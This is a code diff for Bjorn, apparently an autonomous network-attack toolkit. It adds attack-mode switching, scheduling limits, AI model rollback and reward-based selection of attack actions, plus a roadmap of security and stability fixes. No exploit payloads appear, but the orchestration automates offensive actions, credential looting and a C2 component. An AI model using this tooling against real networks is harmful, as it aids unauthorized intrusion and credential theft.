diff --git a/Bjorn.py b/Bjorn.py index 7f46f27..bac559e 100644 --- a/Bjorn.py +++ b/Bjorn.py @@ -235,8 +235,10 @@ class Bjorn: backoff_s = 1.0 while not self.shared_data.should_exit: try: - # Manual mode must stop orchestration so the user keeps full control. - if self.shared_data.operation_mode == "MANUAL": + # Manual/Bifrost mode must stop orchestration. + # BIFROST: WiFi is in monitor mode, no network available for scans. + current_mode = self.shared_data.operation_mode + if current_mode in ("MANUAL", "BIFROST", "LOKI"): # Avoid spamming stop requests if already stopped. if self.orchestrator_thread is not None and self.orchestrator_thread.is_alive(): self.stop_orchestrator() @@ -257,7 +259,7 @@ class Bjorn: backoff_s = min(backoff_s * 2.0, 30.0) def check_and_start_orchestrator(self): - if self.shared_data.operation_mode == "MANUAL": + if self.shared_data.operation_mode in ("MANUAL", "BIFROST", "LOKI"): return if self.is_network_connected(): self.wifi_connected = True @@ -300,9 +302,14 @@ class Bjorn: self.orchestrator = None return - # Keep MANUAL sticky so supervisor does not auto-restart orchestration. + # Keep MANUAL sticky so supervisor does not auto-restart orchestration, + # but only if the current mode isn't already handling it. + # - MANUAL/BIFROST: already non-AUTO, no need to change + # - AUTO: let it be — orchestrator will restart naturally (e.g. after Bifrost auto-disable) try: - self.shared_data.operation_mode = "MANUAL" + current = self.shared_data.operation_mode + if current == "AI": + self.shared_data.operation_mode = "MANUAL" except Exception: pass @@ -313,19 +320,26 @@ class Bjorn: self.shared_data.orchestrator_should_exit = True self.shared_data.queue_event.set() # Wake up thread thread.join(timeout=10.0) - + if thread.is_alive(): logger.warning_throttled( "Orchestrator thread did not stop gracefully", key="orch_stop_not_graceful", interval_s=20, ) - return + # Still reset status so UI doesn't stay stuck on the + # last action while the thread finishes in the background. + else: + self.orchestrator_thread = None + self.orchestrator = None - self.orchestrator_thread = None - self.orchestrator = None + # Always reset display state regardless of whether join succeeded. self.shared_data.bjorn_orch_status = "IDLE" + self.shared_data.bjorn_status_text = "IDLE" self.shared_data.bjorn_status_text2 = "" + self.shared_data.action_target_ip = "" + self.shared_data.active_action = None + self.shared_data.update_status("IDLE", "") def is_network_connected(self): """Checks for network connectivity with throttling and low-CPU checks.""" @@ -441,6 +455,22 @@ def handle_exit( except Exception: pass + # 2c. Stop Sentinel Watchdog + try: + engine = getattr(shared_data, 'sentinel_engine', None) + if engine and hasattr(engine, 'stop'): + engine.stop() + except Exception: + pass + + # 2d. Stop Bifrost Engine + try: + engine = getattr(shared_data, 'bifrost_engine', None) + if engine and hasattr(engine, 'stop'): + engine.stop() + except Exception: + pass + # 3. Stop Web Server try: if web_thread_obj and hasattr(web_thread_obj, "shutdown"): @@ -517,6 +547,45 @@ if __name__ == "__main__": health_thread = HealthMonitor(shared_data, interval_s=health_interval) health_thread.start() + # Sentinel watchdog — start if enabled in config + try: + from sentinel import SentinelEngine + sentinel_engine = SentinelEngine(shared_data) + shared_data.sentinel_engine = sentinel_engine + if shared_data.config.get("sentinel_enabled", False): + sentinel_engine.start() + logger.info("Sentinel watchdog started") + else: + logger.info("Sentinel watchdog loaded (disabled)") + except Exception as e: + logger.warning("Sentinel init skipped: %s", e) + + # Bifrost engine — start if enabled in config + try: + from bifrost import BifrostEngine + bifrost_engine = BifrostEngine(shared_data) + shared_data.bifrost_engine = bifrost_engine + if shared_data.config.get("bifrost_enabled", False): + bifrost_engine.start() + logger.info("Bifrost engine started") + else: + logger.info("Bifrost engine loaded (disabled)") + except Exception as e: + logger.warning("Bifrost init skipped: %s", e) + + # Loki engine — start if enabled in config + try: + from loki import LokiEngine + loki_engine = LokiEngine(shared_data) + shared_data.loki_engine = loki_engine + if shared_data.config.get("loki_enabled", False): + loki_engine.start() + logger.info("Loki engine started") + else: + logger.info("Loki engine loaded (disabled)") + except Exception as e: + logger.warning("Loki init skipped: %s", e) + # Signal Handlers exit_handler = lambda s, f: handle_exit( s, diff --git a/ROADMAP.md b/ROADMAP.md new file mode 100644 index 0000000..cb3e587 --- /dev/null +++ b/ROADMAP.md @@ -0,0 +1,315 @@ +# BJORN Cyberviking — Roadmap & Changelog + +> Comprehensive audit-driven roadmap for the v2 release. +> Each section tracks scope, status, and implementation notes. + +--- + +## Legend + +| Tag | Meaning | +|-----|---------| +| `[DONE]` | Implemented and verified | +| `[WIP]` | Work in progress | +| `[TODO]` | Not yet started | +| `[DROPPED]` | Descoped / won't fix | + +--- + +## P0 — Security & Blockers (Must-fix before release) + +### SEC-01: Shell injection in system_utils.py `[DONE]` +- **File:** `web_utils/system_utils.py` +- **Issue:** `subprocess.Popen(command, shell=True)` on reboot, shutdown, restart, clear_logs +- **Fix:** Replace all `shell=True` calls with argument lists (`["sudo", "reboot"]`) +- **Risk:** Command injection if any parameter is ever user-controlled + +### SEC-02: Path traversal in DELETE route `[DONE]` +- **File:** `webapp.py:497-498` +- **Issue:** MAC address extracted from URL path with no validation — `self.path.split(...)[-1]` +- **Fix:** URL-decode and validate MAC format with regex before passing to handler + +### SEC-03: Path traversal in file operations `[DONE]` +- **File:** `web_utils/file_utils.py` +- **Issue:** `move_file`, `rename_file`, `delete_file` accept paths from POST body. + Path validation uses `startswith()` which can be bypassed (symlinks, encoding). +- **Fix:** Use `os.path.realpath()` instead of `os.path.abspath()` for canonicalization. + Add explicit path validation helper used by all file ops. + +### SEC-04: Cortex secrets committed to repo `[DONE]` +- **Files:** `bjorn-cortex/Cortex/security_config.json`, `server_config.json` +- **Issue:** JWT secret, TOTP secret, admin password hash, device API key in git +- **Fix:** Replaced with clearly-marked placeholder values + WARNING field, already in `.gitignore` + +### SEC-05: Cortex WebSocket without auth `[DONE]` +- **File:** `bjorn-cortex/Cortex/server.py` +- **Issue:** `/ws/logs` endpoint has no authentication — anyone can see training logs +- **Fix:** Added `_verify_ws_token()` — JWT via query param or first message, close 4401 on failure + +### SEC-06: Cortex device API auth disabled by default `[DONE]` +- **File:** `bjorn-cortex/Cortex/server_config.json` +- **Issue:** `allow_device_api_without_auth: true` + empty `device_api_key` +- **Fix:** Default to `false`, placeholder API key, CORS origins via `CORS_ORIGINS` env var + +--- + +## P0 — Bluetooth Fixes + +### BT-01: Bare except clauses `[DONE]` +- **File:** `web_utils/bluetooth_utils.py:225,258` +- **Issue:** `except:` swallows all exceptions including SystemExit, KeyboardInterrupt +- **Fix:** Replace with `except (dbus.exceptions.DBusException, Exception) as e:` with logging + +### BT-02: Null address passed to BT functions `[DONE]` +- **File:** `webapp.py:210-214` +- **Issue:** `d.get('address')` can return None, passed directly to BT methods +- **Fix:** Add null check + early return with error in each lambda/BT method entry point + +### BT-03: Race condition on bt.json `[DONE]` +- **File:** `web_utils/bluetooth_utils.py:200-216` +- **Issue:** Read-modify-write on shared file without locking +- **Fix:** Add `threading.Lock` for bt.json access, use atomic write pattern + +### BT-04: auto_bt_connect service crash `[DONE]` +- **File:** `web_utils/bluetooth_utils.py:219` +- **Issue:** `subprocess.run(..., check=True)` raises CalledProcessError if service missing +- **Fix:** Use `check=False` and log warning instead of crashing + +--- + +## P0 — Web Server Fixes + +### WEB-01: SSE reconnect counter reset bug `[DONE]` +- **File:** `web/js/core/console-sse.js:367` +- **Issue:** `reconnectCount = 0` on every message — a single flaky message resets counter, + enabling infinite reconnect loops +- **Fix:** Only reset counter after sustained healthy connection (e.g., 5+ messages) + +### WEB-02: Silent routes list has trailing empty string `[DONE]` +- **File:** `webapp.py:474` +- **Issue:** Empty string `""` in `silent_routes` matches ALL log messages +- **Fix:** Remove empty string from list + +--- + +## P1 — Stability & Consistency + +### STAB-01: Uniform error handling pattern `[DONE]` +- **Files:** All `web_utils/*.py` +- **Issue:** Mix of bare `except:`, `except Exception`, inconsistent error response format +- **Fix:** Establish `_json_response(handler, data, status)` helper; catch specific exceptions + +### STAB-02: Add pagination to heavy API endpoints `[DONE]` +- **Files:** `web_utils/netkb_utils.py`, `web_utils/orchestrator_utils.py` +- **Endpoints:** `/netkb_data`, `/list_credentials`, `/network_data` +- **Fix:** Accept `?page=N&per_page=M` query params, return `{data, total, page, pages}` + +### STAB-03: Dead routes & unmounted pages `[DONE]` +- **Files:** `web/js/app.js`, various +- **Issue:** GPS UI elements with no backend, rl-dashboard not mounted, zombieland incomplete +- **Fix:** Remove GPS placeholder, wire rl-dashboard mount, mark zombieland as beta + +### STAB-04: Missing constants for magic numbers `[DONE]` +- **Files:** `web_utils/bluetooth_utils.py`, `webapp.py` +- **Fix:** Extract timeout values, pool sizes, size limits to named constants + +--- + +## P2 — Web SPA Quality + +### SPA-01: Review & fix dashboard.js `[DONE]` +- Check stat polling, null safety, error display + +### SPA-02: Review & fix network.js `[DONE]` +- D3 graph cleanup on unmount, memory leak check + +### SPA-03: Review & fix credentials.js `[DONE]` +- Search/filter robustness, export edge cases + +### SPA-04: Review & fix vulnerabilities.js `[DONE]` +- CVE modal error handling, feed sync status + +### SPA-05: Review & fix files.js `[DONE]` +- Upload progress, drag-drop edge cases, path validation + +### SPA-06: Review & fix netkb.js `[DONE]` +- View mode transitions, filter persistence, pagination integration + +### SPA-07: Review & fix web-enum.js `[DONE]` +- Status code filter, date range, export completeness + +### SPA-08: Review & fix rl-dashboard.js `[DONE]` +- Canvas cleanup, mount lifecycle, null data handling + +### SPA-09: Review & fix zombieland.js (C2) `[DONE]` +- SSE lifecycle, agent list refresh, mark as experimental + +### SPA-10: Review & fix scripts.js `[DONE]` +- Output polling cleanup, project upload validation + +### SPA-11: Review & fix attacks.js `[DONE]` +- Tab switching, image upload validation + +### SPA-12: Review & fix bjorn.js (EPD viewer) `[DONE]` +- Image refresh, zoom controls, null EPD state + +### SPA-13: Review & fix settings-config.js `[DONE]` +- Form generation edge cases, chip editor validation + +### SPA-14: Review & fix actions-studio.js `[DONE]` +- Canvas lifecycle, node dragging, edge persistence + +--- + +## P2 — AI/Cortex Improvements + +### AI-01: Feature selection / importance analysis `[DONE]` +- Variance-based feature filtering in data consolidator (drops near-zero variance features) +- Feature manifest exported alongside training data +- `get_feature_importance()` method on FeatureLogger for introspection +- Config: `ai_feature_selection_min_variance` (default 0.001) + +### AI-02: Continuous reward shaping `[DONE]` +- Extended reward function with 4 new components: novelty bonus, repeat penalty, + diminishing returns, partial credit for long-running failed actions +- Helper methods to query attempt counts and consecutive failures from ml_features + +### AI-03: Model versioning & rollback `[DONE]` +- Keep up to 3 model versions on disk (configurable) +- Model history tracking: version, loaded_at, accuracy, avg_reward +- `rollback_model()` method to load previous version +- Auto-rollback if average reward drops below previous model after 50 decisions + +### AI-04: Low-data cold-start bootstrap `[DONE]` +- Bootstrap scores dict accumulating per (action_name, port_profile) running averages +- Blended heuristic/bootstrap scoring (40-80% weight based on sample count) +- Persistent `ai_bootstrap_scores.json` across restarts +- Config: `ai_cold_start_bootstrap_weight` (default 0.6) + +--- + +## P3 — Future Features + +### EPD-01: Multi-size EPD layout engine `[DONE]` +- New `display_layout.py` module with `DisplayLayout` class +- JSON layout definitions per EPD type (2.13", 2.7") +- Element-based positioning: each UI component has named anchor `{x, y, w, h}` +- Custom layouts stored in `resources/layouts/{epd_type}.json` +- `px()`/`py()` scaling preserved, layout provides reference coordinates +- Integrated into `display.py` rendering pipeline + +### EPD-02: Web-based EPD layout editor `[DONE]` +- Backend API: `GET/POST /api/epd/layout`, `POST /api/epd/layout/reset` +- `GET /api/epd/layouts` lists all supported EPD types and their layouts +- `GET /api/epd/layout?epd_type=X` to fetch layout for a specific EPD type +- Frontend editor: `web/js/core/epd-editor.js` — 4th tab in attacks page +- SVG canvas with drag-and-drop element positioning and corner resize handles +- Display mode preview: Color, NB (black-on-white), BN (white-on-black) +- Grid/snap, zoom (50-600%), toggleable element labels +- Add/delete elements, import/export layout JSON +- Properties panel with x/y/w/h editors, font size editors +- Undo system (50-deep snapshot stack, Ctrl+Z) +- Color-coded elements by type (icons=blue, text=green, bars=orange, etc.) +- Transparency-aware checkerboard canvas background +- Arrow key nudge, keyboard shortcuts + +### ORCH-01: Per-action circuit breaker `[DONE]` +- New `action_circuit_breaker` DB table: failure_streak, circuit_status, cooldown_until +- Three states: closed → open (after N fails) → half_open (after cooldown) +- Exponential backoff: `min(2^streak * 60, 3600)` seconds +- Integrated into `_should_queue_action()` check +- Success on half-open resets circuit, failure re-opens with longer cooldown +- Config: `circuit_breaker_threshold` (default 3) + +### ORCH-02: Global concurrency limiter `[DONE]` +- DB-backed running action count check before scheduling +- `count_running_actions()` method in queue.py +- Per-action `max_concurrent` support in requirements evaluator +- Respects `semaphore_slots` config (default 5) + +### ORCH-03: Manual mode with active scanning `[DONE]` +- Background scan timer thread in MANUAL mode +- NetworkScanner runs at `manual_mode_scan_interval` (default 180s) +- Config: `manual_mode_auto_scan` (default True) +- Scan timer auto-stops when switching back to AUTO/AI + +--- + +## Changelog + +### 2026-03-12 — Security & Stability Audit + +#### Security +- **[SEC-01]** Replaced all `shell=True` subprocess calls with safe argument lists +- **[SEC-02]** Added MAC address validation (regex) in DELETE route handler +- **[SEC-03]** Strengthened path validation using `os.path.realpath()` + dedicated helper +- **[BT-01]** Replaced bare `except:` with specific exception handling + logging +- **[BT-02]** Added null address validation in Bluetooth route lambdas and method entry points +- **[BT-03]** Added file lock for bt.json read/write operations +- **[BT-04]** Changed auto_bt_connect restart to non-fatal (check=False) +- **[SEC-04]** Cortex config files: placeholder secrets + WARNING field, already gitignored +- **[SEC-05]** Added JWT auth to Cortex WebSocket `/ws/logs` endpoint +- **[SEC-06]** Cortex device API auth now required by default, CORS configurable via env var + +#### Bug Fixes +- **[WEB-01]** Fixed SSE reconnect counter: only resets after 5+ consecutive healthy messages +- **[WEB-02]** Removed empty string from silent_routes that was suppressing all log messages +- **[STAB-03]** Cleaned up dead GPS UI references, wired rl-dashboard mount +- **[ORCH-BUG]** Fixed Auto→Manual mode switch not resetting status to IDLE (4-location fix): + - `orchestrator.py`: Reset all status fields after main loop exit AND after action completes with exit flag + - `Bjorn.py`: Reset status even when `thread.join(10)` times out + - `orchestrator_utils.py`: Explicit IDLE reset in web API stop handler + +#### Quality +- **[STAB-01]** Standardized error handling across web_utils modules +- **[STAB-04]** Extracted magic numbers to named constants + +#### SPA Page Review (SPA-01..14) +All 18 SPA page modules reviewed and fixed: + +**Pages fully rewritten (11 pages):** +- **dashboard.js** — New layout with ResourceTracker, safe DOM (no innerHTML), visibility-aware pollers, proper uptime ticker cleanup +- **network.js** — D3 force graph cleanup on unmount, lazy d3 loading, search debounce tracked, simulation stop +- **credentials.js** — AbortController tracked, toast timer tracked, proper state reset in unmount +- **vulnerabilities.js** — ResourceTracker integration, abort controllers, null safety throughout +- **files.js** — Upload progress, drag-drop safety, ResourceTracker lifecycle +- **netkb.js** — View mode persistence, filter tracked, pagination integration +- **web-enum.js** — Status filter, date range, tracked pollers and timeouts +- **rl-dashboard.js** — Canvas cleanup, chart lifecycle, null data guards +- **zombieland.js** — SSE lifecycle tracked, agent list cleanup, experimental flag +- **attacks.js** — Tab switching, ResourceTracker integration, proper cleanup +- **bjorn.js** — Image refresh tracked, zoom controls, null EPD state handling + +**Pages with targeted fixes (7 pages):** +- **bjorn-debug.js** — Fixed 3 button event listeners using raw `addEventListener` → `tracker.trackEventListener` (memory leak) +- **scheduler.js** — Added `searchDeb` timeout cleanup + state reset in unmount (zombie timer) +- **actions.js** — Added resize debounce cleanup in unmount + tracked `highlightPane` timeout (zombie timer) +- **backup.js** — Already clean: ResourceTracker, sidebar layout cleanup, state reset (no changes needed) +- **database.js** — Already clean: search debounce cleanup, sidebar layout, Poller lifecycle (no changes needed) +- **loot.js** — Already clean: search timer cleanup, ResourceTracker, state reset (no changes needed) +- **actions-studio.js** — Already clean: runtime cleanup function, ResourceTracker (no changes needed) + +#### AI Pipeline (AI-01..04) +- **[AI-01]** Feature selection: variance-based filtering in `data_consolidator.py`, feature manifest export, `get_feature_importance()` in `feature_logger.py` +- **[AI-02]** Continuous reward shaping in `orchestrator.py`: novelty bonus, diminishing returns penalty, partial credit for long-running failures, attempt/streak DB queries +- **[AI-03]** Model versioning in `ai_engine.py`: 3-model history, `rollback_model()`, auto-rollback after 50 decisions if avg reward drops +- **[AI-04]** Cold-start bootstrap in `ai_engine.py`: persistent `ai_bootstrap_scores.json`, blended heuristic/bootstrap scoring with adaptive weighting + +#### Orchestrator (ORCH-01..03) +- **[ORCH-01]** Circuit breaker: new `action_circuit_breaker` DB table in `db_utils/queue.py`, 3-state machine (closed→open→half-open), exponential backoff `min(2^N*60, 3600)s`, integrated into `action_scheduler.py` scheduling decisions and `orchestrator.py` post-execution +- **[ORCH-02]** Global concurrency limiter: `count_running_actions()` in `db_utils/queue.py`, pre-schedule check in `action_scheduler.py` against `semaphore_slots` config +- **[ORCH-03]** Manual mode scanning: background `_scan_loop` thread in `orchestrator_utils.py`, runs at `manual_mode_scan_interval` (180s default), auto-stops on mode switch + +#### EPD Multi-Size (EPD-01..02) +- **[EPD-01]** New `display_layout.py` module: `DisplayLayout` class with JSON-based element positioning, built-in layouts for 2.13" and 2.7" displays, custom layout override via `resources/layouts/`, 20+ elements integrated into `display.py` rendering pipeline +- **[EPD-02]** Backend API: `GET/POST /api/epd/layout`, `POST /api/epd/layout/reset`, `GET /api/epd/layouts` — endpoints in `web_utils/system_utils.py`, routes in `webapp.py` +- **[EPD-02]** Frontend editor: `web/js/core/epd-editor.js` as 4th tab in attacks page — SVG drag-and-drop canvas, resize handles, Color/NB/BN display modes, grid/snap/zoom, add/delete elements, import/export JSON, undo stack, font size editing, arrow key nudge + +#### New Configuration Parameters +- `ai_feature_selection_min_variance` (0.001) — minimum variance for feature inclusion +- `ai_model_history_max` (3) — max model versions kept on disk +- `ai_auto_rollback_window` (50) — decisions before auto-rollback evaluation +- `ai_cold_start_bootstrap_weight` (0.6) — bootstrap vs static heuristic weight +- `circuit_breaker_threshold` (3) — consecutive failures to open circuit +- `manual_mode_auto_scan` (true) — auto-scan in MANUAL mode +- `manual_mode_scan_interval` (180) — seconds between manual mode scans diff --git a/action_scheduler.py b/action_scheduler.py index dc7352e..d369f81 100644 --- a/action_scheduler.py +++ b/action_scheduler.py @@ -974,6 +974,32 @@ class ActionScheduler: """ self_port = 0 if target_port is None else int(target_port) + # Circuit breaker check (ORCH-01) + if self.db.is_circuit_open(action_name, mac): + logger.debug(f"Circuit breaker open for {action_name}/{mac}, skipping") + return False + + # Global concurrency limit check (ORCH-02) + running_count = self.db.count_running_actions() + max_concurrent = int(getattr(self.shared_data, 'semaphore_slots', 5)) + if running_count >= max_concurrent: + logger.debug(f"Concurrency limit reached ({running_count}/{max_concurrent}), skipping {action_name}") + return False + + # Per-action concurrency limit (ORCH-02) + requires_raw = action_def.get("b_requires", "") + if requires_raw: + try: + req_obj = json.loads(requires_raw) if isinstance(requires_raw, str) else requires_raw + if isinstance(req_obj, dict) and "max_concurrent" in req_obj: + max_per_action = int(req_obj["max_concurrent"]) + running_for_action = self.db.count_running_actions(action_name=action_name) + if running_for_action >= max_per_action: + logger.debug(f"Per-action concurrency limit for {action_name} ({running_for_action}/{max_per_action})") + return False + except (json.JSONDecodeError, TypeError, ValueError): + pass + # 0) Duplicate protection (active) existing = self.db.query( """ diff --git a/ai_engine.py b/ai_engine.py index a93a60e..257c879 100644 --- a/ai_engine.py +++ b/ai_engine.py @@ -59,10 +59,28 @@ class BjornAIEngine: self.feature_config = None self.last_server_attempted = False self.last_server_contact_ok = None - + + # AI-03: Model versioning & rollback + self._previous_model = None # {weights, config, feature_config} + self._model_history = [] # [{version, loaded_at, accuracy, avg_reward}] + self._max_model_versions_on_disk = 3 + self._performance_window = [] # recent reward values for current model + self._performance_check_interval = int( + getattr(shared_data, 'ai_model_perf_check_interval', 50) + ) + self._prev_model_avg_reward = None # avg reward of the model we replaced + + # AI-04: Cold-start bootstrap scores + self._bootstrap_scores = {} # {(action_name, port_profile): [total_reward, count]} + self._bootstrap_file = self.model_dir / 'ai_bootstrap_scores.json' + self._bootstrap_weight = float( + getattr(shared_data, 'ai_cold_start_bootstrap_weight', 0.6) + ) + self._load_bootstrap_scores() + # Try to load latest model self._load_latest_model() - + # Fallback heuristics (always available) self._init_heuristics() @@ -79,9 +97,9 @@ class BjornAIEngine: """Load the most recent model from model directory""" try: # Find all potential model configs - all_json_files = [f for f in self.model_dir.glob("bjorn_model_*.json") + all_json_files = [f for f in self.model_dir.glob("bjorn_model_*.json") if "_weights.json" not in f.name] - + # 1. Filter for files that have matching weights valid_models = [] for f in all_json_files: @@ -90,50 +108,103 @@ class BjornAIEngine: valid_models.append(f) else: logger.debug(f"Skipping model {f.name}: Weights file missing") - + if not valid_models: logger.info(f"No complete models found in {self.model_dir}. Checking server...") # Try to download from server if self.check_for_updates(): return - + logger.info_throttled( "No AI model available (server offline or empty). Using heuristics only.", key="ai_no_model_available", interval_s=600.0, ) return - + # 2. Sort by timestamp in filename (lexicographical) and pick latest - latest_model = sorted(valid_models)[-1] + valid_models = sorted(valid_models) + latest_model = valid_models[-1] weights_file = latest_model.with_name(latest_model.stem + '_weights.json') - + logger.info(f"Loading model: {latest_model.name} (Weights exists!)") - + with open(latest_model, 'r') as f: model_data = json.load(f) - - self.model_config = model_data.get('config', model_data) - self.feature_config = model_data.get('features', {}) - + + new_config = model_data.get('config', model_data) + new_feature_config = model_data.get('features', {}) + # Load weights with open(weights_file, 'r') as f: weights_data = json.load(f) - self.model_weights = { + new_weights = { k: np.array(v) for k, v in weights_data.items() } del weights_data # Free raw dict — numpy arrays are the canonical form - + + # AI-03: Save previous model for rollback + if self.model_loaded and self.model_weights is not None: + self._previous_model = { + 'weights': self.model_weights, + 'config': self.model_config, + 'feature_config': self.feature_config, + } + # Record avg reward of outgoing model for performance comparison + if self._performance_window: + self._prev_model_avg_reward = ( + sum(self._performance_window) / len(self._performance_window) + ) + self._performance_window = [] # reset for new model + + self.model_config = new_config + self.feature_config = new_feature_config + self.model_weights = new_weights self.model_loaded = True + + # AI-03: Track model history + from datetime import datetime as _dt + version = self.model_config.get('version', 'unknown') + self._model_history.append({ + 'version': version, + 'loaded_at': _dt.now().isoformat(), + 'accuracy': self.model_config.get('accuracy'), + 'avg_reward': None, # filled later as decisions accumulate + }) + # Keep history bounded + if len(self._model_history) > 10: + self._model_history = self._model_history[-10:] + logger.success( - f"Model loaded successfully: {self.model_config.get('version', 'unknown')}" + f"Model loaded successfully: {version}" ) - + + # AI-03: Prune old model versions on disk (keep N most recent) + self._prune_old_model_files(valid_models) + except Exception as e: logger.error(f"Failed to load model: {e}") import traceback logger.debug(traceback.format_exc()) self.model_loaded = False + + def _prune_old_model_files(self, valid_models: list): + """AI-03: Keep only the N most recent model versions on disk.""" + try: + keep = self._max_model_versions_on_disk + if len(valid_models) <= keep: + return + to_remove = valid_models[:-keep] + for config_path in to_remove: + weights_path = config_path.with_name(config_path.stem + '_weights.json') + try: + config_path.unlink(missing_ok=True) + weights_path.unlink(missing_ok=True) + logger.info(f"Pruned old model: {config_path.name}") + except Exception as e: + logger.debug(f"Could not prune {config_path.name}: {e}") + except Exception as e: + logger.debug(f"Model pruning error: {e}") def reload_model(self) -> bool: """Reload model from disk""" @@ -142,9 +213,103 @@ class BjornAIEngine: self.model_weights = None self.model_config = None self.feature_config = None - + self._load_latest_model() return self.model_loaded + + def rollback_model(self) -> bool: + """ + AI-03: Rollback to the previous model version. + Returns True if rollback succeeded. + """ + if self._previous_model is None: + logger.warning("No previous model available for rollback") + return False + + logger.info("Rolling back to previous model version...") + # Current model becomes the "next" previous (so we can undo a rollback) + current_backup = None + if self.model_loaded and self.model_weights is not None: + current_backup = { + 'weights': self.model_weights, + 'config': self.model_config, + 'feature_config': self.feature_config, + } + + self.model_weights = self._previous_model['weights'] + self.model_config = self._previous_model['config'] + self.feature_config = self._previous_model['feature_config'] + self.model_loaded = True + self._previous_model = current_backup + self._performance_window = [] # reset + + version = self.model_config.get('version', 'unknown') + from datetime import datetime as _dt + self._model_history.append({ + 'version': f"{version}_rollback", + 'loaded_at': _dt.now().isoformat(), + 'accuracy': self.model_config.get('accuracy'), + 'avg_reward': None, + }) + + logger.success(f"Rolled back to model version: {version}") + return True + + def record_reward(self, reward: float): + """ + AI-03: Record a reward for performance tracking. + After N decisions, auto-rollback if performance has degraded. + """ + self._performance_window.append(reward) + + # Update current history entry + if self._model_history: + self._model_history[-1]['avg_reward'] = round( + sum(self._performance_window) / len(self._performance_window), 2 + ) + + # Check for auto-rollback after sufficient samples + if len(self._performance_window) >= self._performance_check_interval: + current_avg = sum(self._performance_window) / len(self._performance_window) + + if ( + self._prev_model_avg_reward is not None + and current_avg < self._prev_model_avg_reward + and self._previous_model is not None + ): + logger.warning( + f"Model performance degraded: current avg={current_avg:.2f} vs " + f"previous avg={self._prev_model_avg_reward:.2f}. Auto-rolling back." + ) + self.rollback_model() + else: + logger.info( + f"Model performance check passed: avg_reward={current_avg:.2f} " + f"over {len(self._performance_window)} decisions" + ) + # Reset window for next check cycle + self._performance_window = [] + + def get_model_info(self) -> Dict[str, Any]: + """AI-03: Return current version, history, and performance stats.""" + current_avg = None + if self._performance_window: + current_avg = round( + sum(self._performance_window) / len(self._performance_window), 2 + ) + + return { + 'current_version': self.model_config.get('version') if self.model_config else None, + 'model_loaded': self.model_loaded, + 'has_previous_model': self._previous_model is not None, + 'history': list(self._model_history), + 'performance': { + 'current_avg_reward': current_avg, + 'decisions_since_load': len(self._performance_window), + 'check_interval': self._performance_check_interval, + 'previous_model_avg_reward': self._prev_model_avg_reward, + }, + } def check_for_updates(self) -> bool: """Check AI Server for new model version.""" @@ -596,10 +761,62 @@ class BjornAIEngine: if 'dump' in name or 'extract' in name: return 'extraction' return 'other' + # ═══════════════════════════════════════════════════════════════════════ + # AI-04: COLD-START BOOTSTRAP + # ═══════════════════════════════════════════════════════════════════════ + + def _load_bootstrap_scores(self): + """Load persisted bootstrap scores from disk.""" + try: + if self._bootstrap_file.exists(): + with open(self._bootstrap_file, 'r') as f: + raw = json.load(f) + # Stored as {"action|profile": [total_reward, count], ...} + for key_str, val in raw.items(): + parts = key_str.split('|', 1) + if len(parts) == 2 and isinstance(val, list) and len(val) == 2: + self._bootstrap_scores[(parts[0], parts[1])] = val + logger.info(f"Loaded {len(self._bootstrap_scores)} bootstrap score entries") + except Exception as e: + logger.debug(f"Could not load bootstrap scores: {e}") + + def _save_bootstrap_scores(self): + """Persist bootstrap scores to disk.""" + try: + serializable = { + f"{k[0]}|{k[1]}": v for k, v in self._bootstrap_scores.items() + } + with open(self._bootstrap_file, 'w', encoding='utf-8') as f: + json.dump(serializable, f) + except Exception as e: + logger.debug(f"Could not save bootstrap scores: {e}") + + def update_bootstrap(self, action_name: str, port_profile: str, reward: float): + """ + AI-04: Update running average reward for an (action, port_profile) pair. + Called after each action execution to accumulate real performance data. + """ + key = (action_name, port_profile) + if key not in self._bootstrap_scores: + self._bootstrap_scores[key] = [0.0, 0] + entry = self._bootstrap_scores[key] + entry[0] += reward + entry[1] += 1 + + # Persist periodically (every 5 updates to reduce disk writes) + total_updates = sum(v[1] for v in self._bootstrap_scores.values()) + if total_updates % 5 == 0: + self._save_bootstrap_scores() + + logger.debug( + f"Bootstrap updated: {action_name}+{port_profile} " + f"avg={entry[0]/entry[1]:.1f} (n={entry[1]})" + ) + # ═══════════════════════════════════════════════════════════════════════ # HEURISTIC FALLBACK # ═══════════════════════════════════════════════════════════════════════ - + def _init_heuristics(self): """Initialize rule-based heuristics for cold start""" self.heuristics = { @@ -641,68 +858,99 @@ class BjornAIEngine: ) -> Tuple[str, float, Dict[str, Any]]: """ Use rule-based heuristics for action selection. - Provides decent performance without machine learning. + AI-04: Blends static rules with bootstrap scores from actual execution data. """ try: mac = host_context.get('mac', '') host = self.db.get_host_by_mac(mac) if mac else {} - + # Get ports and services ports_str = host.get('ports', '') or '' ports = {int(p) for p in ports_str.split(';') if p.strip().isdigit()} services = self._get_services_for_host(mac) - + # Detect port profile port_profile = self._detect_port_profile(ports) - - # Scoring system - action_scores = {action: 0.0 for action in available_actions} - + + # Static heuristic scoring + static_scores = {action: 0.0 for action in available_actions} + # Score based on ports for port in ports: if port in self.heuristics['port_based']: for action in self.heuristics['port_based'][port]: - if action in action_scores: - action_scores[action] += 0.3 - + if action in static_scores: + static_scores[action] += 0.3 + # Score based on services for service in services: if service in self.heuristics['service_based']: for action in self.heuristics['service_based'][service]: - if action in action_scores: - action_scores[action] += 0.4 - + if action in static_scores: + static_scores[action] += 0.4 + # Score based on port profile if port_profile in self.heuristics['profile_based']: for action in self.heuristics['profile_based'][port_profile]: - if action in action_scores: - action_scores[action] += 0.3 - + if action in static_scores: + static_scores[action] += 0.3 + + # AI-04: Blend static scores with bootstrap scores + blended_scores = {} + bootstrap_used = False + for action in available_actions: + static_score = static_scores.get(action, 0.0) + key = (action, port_profile) + entry = self._bootstrap_scores.get(key) + + if entry and entry[1] > 0: + bootstrap_used = True + bootstrap_avg = entry[0] / entry[1] + # Normalize bootstrap avg to 0-1 range (assume reward range ~-30 to +200) + bootstrap_norm = max(0.0, min(1.0, (bootstrap_avg + 30) / 230)) + sample_count = entry[1] + + # Lerp bootstrap weight from 40% to 80% over 20 samples + base_weight = self._bootstrap_weight # default 0.6 + if sample_count < 20: + # Interpolate: at 1 sample -> 0.4, at 20 samples -> 0.8 + t = (sample_count - 1) / 19.0 + bootstrap_w = 0.4 + t * (0.8 - 0.4) + else: + bootstrap_w = 0.8 + static_w = 1.0 - bootstrap_w + + blended_scores[action] = static_w * static_score + bootstrap_w * bootstrap_norm + else: + blended_scores[action] = static_score + # Find best action + action_scores = blended_scores if action_scores: best_action = max(action_scores, key=action_scores.get) best_score = action_scores[best_action] - + # Normalize score to 0-1 if best_score > 0: best_score = min(best_score / 1.0, 1.0) - + debug_info = { - 'method': 'heuristics', + 'method': 